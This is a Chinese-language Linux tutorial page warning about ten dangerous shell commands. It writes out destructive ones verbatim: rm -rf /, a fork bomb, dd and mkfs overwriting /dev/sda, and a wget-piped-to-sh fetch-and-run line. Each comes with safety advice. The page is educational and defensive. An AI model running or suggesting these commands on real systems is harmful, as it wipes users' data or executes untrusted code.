Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學
您现在的位置: Windows教程網 >> Windows教程 >  >> Linux 系統教學 >> Linux 教學

Linux 危險命令大全:十大指令一不小心就能毀系統

編輯:Linux 教學

Linux 命令列強大高效,但也藏著足以摧毀系統的「地雷」。以下整理十大高風險指令,多數需 root 權限才能發揮最大破壞力,一般使用者僅會損壞自家目錄,但仍需極度謹慎。

1. rm -rf:刪除不留情

rm -rf / 會遞歸強制刪除根目錄下所有檔案,系統瞬間化為烏有。常見變體還有 rm -rf *(清空當前目錄)、rm -rf .(刪除當前資料夾及子目錄)。建議在 .bashrc 設定 alias rm='rm -i' 強制互動確認,大多數發行版已預設開啟。

2. :(){ :|:& };::Fork 炸彈

定義一個函數不斷自我複製,指數級佔滿進程表,導致系統癱瘓。切勿在生產伺服器嘗試!

3. 命令 > /dev/sda:直接寫入裝置

將命令輸出導向硬碟裝置檔,會覆寫磁碟前端資料,導致檔案系統毀損、資料全失。

4. mv 目錄 /dev/null:丟進黑洞

/dev/null 是資料黑洞,移動目錄至此等同刪除,但資料恢復軟體仍可能救回。真正銷毀需專用工具多次覆寫。

5. wget https://惡意來源 -O- | sh:盲目執行腳本

下載並直接管線給 shell 執行,極易中植入後門。務必先下載審閱內容再決定是否執行。

6. mkfs.ext3 /dev/sda:格式化硬碟

直接對裝置建立檔案系統,所有資料瞬間蒸發。生產環境務必確認分區代號(如 sda1)而非整顆硬碟。

7. > 檔案:清空檔案內容

單一大於號會截斷檔案,若誤輸入 > /etc/fstab 系統將無法開機。建議改用 >> 追加模式。

8. ^foo^bar:歷史命令快速替換

雖能修正上一條指令拼字錯誤,但若未仔細檢查替換後語意,可能執行非預期操作。

9. dd if=/dev/random of=/dev/sda:隨機資料覆寫

向硬碟寫入亂數,徹底抹除資料並破壞檔案系統,系統進入不可恢復狀態。

10. 十六進位隱藏指令

將 rm -rf / 編碼藏於十六進位字串中,誘騙使用者執行。絕不編譯/執行未知來源程式碼!

Linux 危險命令示意圖

Fork 炸彈示意圖

隱藏指令示意圖

總結:命令列雖強,一念之差釀大禍。養成「先備份、再確認、後執行」習慣,並在關鍵操作前加上 echo 預覽結果,才能安享 Linux 的高效與自由。

Copyright © Windows教程網 All Rights Reserved